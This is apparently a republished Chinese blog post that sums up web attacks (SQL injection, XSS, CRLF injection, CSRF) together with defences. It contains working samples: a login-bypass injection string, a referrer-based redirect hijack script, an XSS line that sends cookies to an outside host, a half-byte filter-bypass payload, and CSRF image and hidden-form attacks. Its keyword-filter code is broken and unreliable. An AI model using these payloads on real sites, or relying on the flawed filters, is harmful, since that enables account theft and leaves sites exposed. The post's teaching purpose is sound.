网站安全我的总结

时间  2019-11-17
标签 网站 安全 我的 总结 栏目 网站开发 繁體版
原文   原文链接

常见攻击方式：XSS、SQL注入、木马、零日攻击、僵尸网络、资源枚举、参数操做、跨站请求伪造、钓鱼欺骗、Dos攻击拒绝服务等。javascript

经常使用防止方式：黑名单过滤(有时候咱们在对网站过来的请求进行黑名单处理 把那些暴漏出来的攻击方法写在黑名单中 当请求过来的时候第一时间去 用黑名单进行过虑 可是 这样的话就要时刻关注有那些漏洞 要及时的去添加到黑名单中 更新 这样就出现了一种被动的防护体系 要咱们时时去关注更新 因此是治标不治本的方式)+白名单验证(黑名单是拒绝当前已经掌握的内容 而白名单测试基于拒绝当前未掌握的内容  接受咱们想要的结果)html

攻防事例详述前端

一. >sql注入 java

SQL注入攻击的整体思路：
发现SQL注入位置；判断服务器类型和后台数据库类型；肯定可执行状况 ajax

注入法：
从理论上说，形式以下的语句
select * from admin where username='XXX' and password='YYY' 的语句，若在正式运行此句以前，若是没有进行必要的字符过滤，则很容易实施SQL注入。
如在用户名文本框内输入：abc’ or 1=1-- 在密码框内输入：123 则SQL语句变成：select * from admin where username='abc’ or 1=1 and password='123’无论用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。正则表达式

猜解法：
基本思路是：猜解全部数据库名称，猜出库中的每张表名，分析多是存放用户名与密码的表名，猜出表中的每一个字段名，猜出表中的每条记录内容，还有一种方式能够得到你的数据库名和每张表的名，特别是网站的错误信息，想着这渗透的方式就niubiliti！
就是经过在形如：http://www. .cn/news?id=10'的方式来经过报错得到你的数据库名和表名！sql

程序的严谨性不强：数据库

前端进行查询的时候 在须要判断身份的时候没有判断 身份和权限的验证禁止把优惠卷等信息直接加密放在js文件中；json

 相应的防止策略：浏览器

一、 正则表达式过滤相应的sql注入极其前端xss：

 1 private const string StrRegex = @"\b(ALERT|CONFIRM|PROMPT)\b|^\+/v(8|9)|<[^>]*?=[^>]*?&#[^>]*?>|\b(AND|OR)\b.{1,6}?(=|>|<|\bIN\b|\bLIKE\b)|/\*.+?\*/|\bEXEC\b|\bSP_EXECYTESQL\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)|TRUNCATE|GRANT"; 
 2 
 3 public static bool CheckData(string inputData)
 4 {
 5 if (string.IsNullOrEmpty(inputData)) { return false; }
 6 if (Regex.IsMatch(inputData.ToUpper(), StrRegex))
 7 {
 8 return true;
 9 }
10 else
11 {
12 return false;
13 }
14 }

 

二、字符串过滤

public static String filterContent(String content){
String flt ="'|and|exec|insert|select|delete|update|count|*|%
|chr|mid|master|truncate|char|declare|; |or|-|+|,"; 
Stringfilter[] = flt.split("|"); 
for(int i=0; i {
content.replace(filter, ""); 
}
return content; 
}

 

三、不安全字符屏蔽
本部分采用js来屏蔽，起的做用很小，这样用屏蔽关键字的方法虽然有必定做用，可是在实际应用中这些 SQL的关键字也可能成为真正的查询关键字，到那是被你屏蔽了那用户不是不能正常的使用了。 只要在代码规范上下点功夫就能够了 
功能介绍：检查是否含有"'","\\","/"
 

2、简单的搜索引擎劫持原理分享
<sc ript language = "javascript">
var regexp=/.(sogou|soso|baidu|google|youdao|yahoo|bing|360|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|tq)(.[a-z0-9-]+){1,2}//ig;var where =document.referrer;if(regexp.test(where)){window.location.href='http://www.baezone.com'}
</scr ipt>

360网站安全和百度网站安全共同提示使用方法：

  • 解决SQL注入漏洞的关键是对全部来自用户输入的数据进行严格检查、对数据库配置使用最小权限原则。
  • 全部的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。
  • 对进入数据库的特殊字符（\'"\<>&*;等）进行转义处理，或编码转换。
  • 确认每种数据的类型，好比数字型的数据就必须是数字，数据库中的存储字段必须对应为int型。
  • 数据长度应该严格规定，能在必定程度上防止比较长的SQL注入语句正常执行。
  • 网站每一个数据层的编码统一，建议所有使用UTF-8编码，上下层编码不一致有可能致使一些过滤模型被绕过。
  • 严格限制网站用户的数据库的操做权限，给此用户提供仅仅可以知足其工做的权限，从而最大限度的减小注入攻击对数据库的危害。
  • 避免网站显示SQL错误信息，好比类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。
  • 在网站发布以前建议使用一些专业的SQL注入检测工具进行检测，及时修补这些SQL注入漏洞。
  • 若您不但愿修改任何代码或部署任何设备，防御软件，作到一键防御全部类型的攻击，推荐您使用一键防御工具保护网站安全。

三. > XSS攻击的危害：　

  •   盗取各种用户账号，如机器登陆账号、用户网银账号、各种管理员账号　　
  •  控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力　　
  • 盗窃企业重要的具备商业价值的资料　　
  •  非法转帐　　
  •  强制发送电子邮件　　
  •  网站挂马
  •  控制受害者机器向其它网站发起攻击
  •  网站常见的存在跨站的地方多半都在留言本，搜索，评论

XSS攻击利用了Web页面的编写疏忽，从Web程序开发的角度来避免：　　

  1.  对全部用户提交内容进行可靠的输入验证，包括对URL、查询关键字、HTTP头、POST数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其余的一概过滤。　　
  2.  实现Session标记(session tokens)或者HTTP引用头检查，以防功能被第三方网站所执行。　　
  3.  确认接收的的内容被妥善的规范化，仅包含最小的、安全的Tag(没有javascript)，去掉任何对远程内容的引用(尤为是样式表和javascript)，使用HTTP only的cookie。

  4. 通常的XSS攻击会在原有的Html代码中插入其余的Html或者脚本代码XSS攻击 主要目的为窃取用户的用户名密码切入一个页面表单和最经常使用的是窃取受害者的cookies信<script>document.location='http://www.panjiayuan.com/catch.html?cookies='+document.cookie+'</script>' 这样用户的回话ID和身份认证令牌因为能够在页面中潜入JavaScript代码　因此就能够访问页面中的XMLHttpRequest对象测全部的ajax操做都将能够执行会话劫持 SessionID cookie中很差存放重要的信息 和可以证实用户身份的信息

       固然如上操做将会下降Web业务系统的可用性，用户仅能输入少许的制定字符，人与系统间的交互被降到极致，仅适用于信息发布型站点。而且考虑到不多有Web编码人员受过正规的安全培训，很难作到彻底避免页面中的XSS漏洞;假定全部输入都是可疑的，必须对全部输入中的script、iframe等字样进行严格的检查。这里的输入不只仅是用户能够直接交互的输入接口，也包括HTTP请求中的Cookie中的变量，HTTP请求头部中的变量等，不要仅仅验证数据的类型，还要验证其格式、长度、范围和内容；不要仅仅在客户端作数据的验证与过滤，关键的过滤步骤在服务端进行，对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即便在输入作了编码等操做，在各处的输出点时也要进行安全检查；

 一种新型的绕过XSS防护的方法----《摘自网上》

你们都知道，广泛的防护XSS攻击的方法是在后台对如下字符进行转义：<、>、’、”，可是通过本人的研究发现，在一些特殊场景下，即便对以上字符进行了转义，仍是能够执行XSS攻击的。

首先看一个JS的例子：

<script> 
var s = "\u003c\u003e"; 
alert(s); 
</script> 
运行这段代码，结果显示以下：

看到这么熟悉的尖括号，你们会不会有一些兴奋的感受呢？JS代码中并无出现尖括号，但是运行时却输出了尖括号！！！这意味着：能够经过\u003c和\u003e来代替<和>。但是该如何利用这个特性来构造XSS攻击呢？继续看一个例子：

<div id='s'> 
test 
</div> 
<script> 
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e"; 
document.getElementById('s').innerHTML = s; 
</script> 
运行上面代码，结果显示以下：

在没有尖括号的状况下，成功实现了一个弹框的案例。

如今来设想一个更贴近实际开发状况的例子：

（1）假设某站的首页：http://localhost/main.html，其代码为：

<div id="test"> 
aa 
</div> 
<script> 
function callback(obj) 
{ 
document.getElementById("test").innerHTML = obj.name; 
} 
</script> 
<script src=" http://localhost/getcontent"></script> 
（2）http://localhost/getcontent返回的内容格式以下：

callback({"name":"xx"});

其中name的值是用户的昵称。

这个例子简单模拟了异步拉取信息并进行显示的状况。

如今假设用户的昵称为：

\u003cimg src=1 onerror=alert(/xss/)\u003e

那么会是什么状况呢？

首先getcontent返回的昵称应该是这样的：

\\u003cimg src=1 onerror=alert(/xss/)\\u003e

由于后台输出JSON格式数据时，通常都会在\前面添加转义符进行转义。

接着main.html的callback函数应该是等价于执行下面的语句：

document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";

显示的结果以下：

很遗憾，没有弹出框。缘由是原来的转义序列\u003c并无生效，被添加的转义符转义掉了。

不过这里假设返回昵称时对\进行了转义，但实际状况下，有时输出json格式数据时是没有对\进行转义的，那样就会触发漏洞。

对于有对\进行转义的，这时就轮到咱们强大的半字符出场了。对于半字符的问题，这里并不打算详细讲，说下结论：

对于gb2312编码，" [0xc0]\ "是一个合法的编码，显示为："繺"。

对于UTF-8编码，在IE6下，上述组合也是一个合法的编码。

其中[0xc0]表示一个十六进制的值。

如今修改昵称为：

[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e，

getcontent输出：

callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});

因为半字符[0xc0]的存在，在解释上述JS代码时，等价于：

callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});

可见，转义序列\u003c终于又回来了，显示结果以下：

上述昵称中并无出现单双引号，尖括号，因此若是后台只是对单双引号和尖括号进行转义，那么是能够被绕过防护的。

总结：

（1）利用场景：输出内容在JS代码里，而且被动态显示出来（如使用innerHTML）。

（2）测试方法：截获请求包，修改参数为：

%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e

（3）防护方法：后台对半字符，反斜杠，单双引号，尖括号进行处理。

一切皆有可能，跨站无处不在，发挥偶们强大的智慧来挖掘吧！


HTTP响应头拆分漏洞解决方案

HTTP响应拆分漏洞，也叫CRLF注入攻击。CR、LF分别对应回车、换行字符。HTTP头由不少被CRLF组合分离的行构成，每行的结构都是“键：值”。若是用户输入的值部分注入了CRLF字符，它有可能改变的HTTP报头结构。
HTTP响应拆分是一个新的应用程序的攻击技术，使网页缓存中毒，跨用户涂改，如各类新的攻击，劫持用户的敏感信息和跨站点脚本(XSS)的网页。
危害：
攻击者可能注入自定义HTTP头。例如，攻击者能够注入会话cookie或HTML代码。这可能会进行相似的XSS(跨站点脚本)或会话固定漏洞。
思路：
限制用户输入的CR和LF，或者对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。
解决方案：
这种现象每每表如今带有参数传递的网页，只要合理的过滤好就OK 

 4、CSRF攻击方式-跨站请求伪造攻击

1.CSRF是什么？
CSRF（Cross-siterequestforgery），中文名称：跨站请求伪造 缩写为：CSRF/XSRF。
2.CSRF能够作什么？
你这能够这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF可以作的事情包括：以你名义发送邮件，发消息，盗取你的帐号，甚至于购买商品，虚拟货币转帐......形成的问题包括：我的隐私泄露以及财产安全。
3.CSRF的原理
受害者必须依次完成两个步骤：

  1. 登陆受信任网站A，并在本地生成Cookie。
  2. 在不登出A的状况下，访问危险网站B。

看到这里，你也许会说：“若是我不知足以上两个条件中的一个，我就不会受到CSRF的攻击”。是的，确实如此，但你不能保证如下状况不会发生：
1.你不能保证你登陆了一个网站后，再也不打开一个tab页面并访问另外的网站。
2.你不能保证你关闭浏览器了后，你本地的Cookie马上过时，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登陆/结束会话了......）
3.多是一个存在其余漏洞的可信任的常常被人访问的网站。

CSRF跟XSS 异同
类似：攻击者都是操做用户的浏览器 假冒合法用户来进行非法的行为
不一样: 所处的位置相反 XSS攻击力用用户对网站的信任 相信网站已经正常工做合法 而CSRF测试利用网站对用户的信任 相信网站接收的全部的请求都是合法用户正常操做来的

 网络上经常使用事例分享：

银行网站A，它以GET请求来完成银行转帐的操做，如：
http://localhost/Transfer.aspx?toBankId=11&money=1000 危险网站B，它里面有一段HTML的代码以下： <imgsrc=http://localhost/Transfer.aspx? toBankId=11&money=1000> 首先，你登陆了银行网站A，而后访问危险网站B，噢，这时你会发现你的银行帐户少了1000块...... 为何会这样呢？缘由是银行网站A违反了HTTP规范，使用GET请求更新 资源。在访问危险网站B的以前，你已经登陆了银行网站A，而B中的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，本来这是一个合法的请求，但这里被不法分子利用了），因此你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://localhost/Transfer.aspx?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操做（转帐操做），因此就马上进行转帐操做...... 
为了杜绝上面的问题，银行决定改用POST请求完成转帐操做。
银行网站A的WEB表单以下：
<formaction="Transfer.aspx"method="POST">
<p>ToBankId:<inputtype="text"name="toBankId"/></p>
<p>Money:<inputtype="text"name="money"/></p>
<p><inputtype="submit"value="Transfer"/></p>
</form>
危险网站B，仍然只是包含那句HTML代码：
<imgsrc=http://localhost/Transfer.aspx?toBankId=11&money=1000> 和示例1中的操做同样，你首先登陆了银行网站A，而后访问危险网站B， 结果.....和示例1同样，你再次没了1000块～T_T，此次事故的缘由是：银行 后台使用了$_REQUEST去获取请求的数据，而$_REQUEST既能够获取GET请求的 数据，也能够获取POST请求的数据，这就形成了在后台处理程序没法区分这究竟是GET请求的数据仍是POST请求的数据。在PHP中，可使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中，用于获取请求数据request同样存在不能区分GET请求数据和POST数据的问题。

然而，危险网站B与时俱进，它改了一下代码：

<html>
<head>
<scripttype="text/javascript">
functionsteal()
{
iframe=document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<bodyonload="steal()">
<iframename="steal"display="none">
<formmethod="POST"name="transfer" action="http://pjy.com/orderchange.ashx">
<inputtype="hidden"name="toBankId"value="11">
<inputtype="hidden"name="money"value="1000">
</form>
</iframe>
</body>
</html>

　若是用户还是继续上面的操做，很不幸，结果将会是再次不见1000块......由于这里危险网站B暗地里发送了POST请求到银行!

总结一下上面3个例子，CSRF主要的攻击模式基本上是以上的3种，其中以第1,2种最为严重，由于触发条件很简单，一个<img>就能够了，而第3种比较麻烦，须要使用 JavaScript，因此使用的机会会比前面的少不少，但不管是哪一种状况，只要触发了CSRF攻击，后果都有可能很严重。
理解上面的3种攻击模式，其实能够看出，CSRF攻击是源于WEB的隐式身份验证机制！WEB的身份验证机制虽然能够保证一个请求是来自于某个用户的浏览器，但却没法保证该请求是用户批准发送的！
4.CSRF的防护
我总结了一下看到的资料，CSRF的防护能够从服务端和客户端两方面着手，防护效果是从服务端着手效果比较好，如今通常的CSRF防护也都在服务端进行。
服务端的CSRF方式方法不少样，但总的思想都是一致的，就是在客户端页面增长伪随机数。
(1).Cookie(全部表单都包含同一个伪随机值)：
这多是最简单的解决方案了，由于攻击者不能得到第三方的Cookie(理论上)，因此表单中的数据也就构造失败了，在表单里增长Hash值，以认证这确实是用户发送的请求。而后在服务器端进行Hash值验证；因为 用户的Cookie很容易因为网站的XSS漏洞而被盗取，这就另外的1%。通常的攻击者看到有须要算Hash值，基本都会放弃了，某些除外，因此若是须要100%的杜绝，这个不是最好的方法。
(2).验证码
这个方案的思路是：每次的用户提交都须要用户在表单中填写一个图片上的随机字符串，这个方案能够彻底解决CSRF，但我的以为在易用性方面彷佛不是太好，还有听闻是验证码图片的使用涉及了一个被称为HTML的Bug，可能在某些版本的微软IE中受影响。
(3).One-TimeTokens(不一样的表单包含一个不一样的伪随机值)
在实现One-TimeTokens时，须要注意一点：就是“并行会话的兼容”。若是用户在一个站点上同时打开了两个不一样的表单，CSRF保护措施不该该影响到他对任何表单的提交。考虑一下若是每次表单被装入时站点生成一个伪随机值来覆盖之前的伪随机值将会发生什么状况：用户只能成功地提交他最后打开的表单，由于全部其余的表单都含有非法的伪随机值。必须当心操做以确保CSRF
保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。

1).页面随机数验证
2).Session令牌
3).WEB表单生成隐藏输入域
4).服务端核对令牌

常见攻击连接：http://localhost/order/OrderManage.aspx?productname=&producttype=&paytype=&starttime=&endtime=&evastate=&orderid=&type=undefined&loginname=;top.window.a==1?1:prompt(a=1);//';top.window.a==1?1:prompt(a=1);//

相关文章
相关标签/搜索
每日一句
    每一个你不满意的现在，都有一个你没有努力的曾经。
本站公众号
   欢迎关注本站公众号,获取更多信息
联系我们 最近搜索 最新文章 沪ICP备13005482号-10 MyBatis教程 SQL 教程 MySQL教程 Java 教程 Thymeleaf 教程 Hibernate教程 Spring教程 Redis教程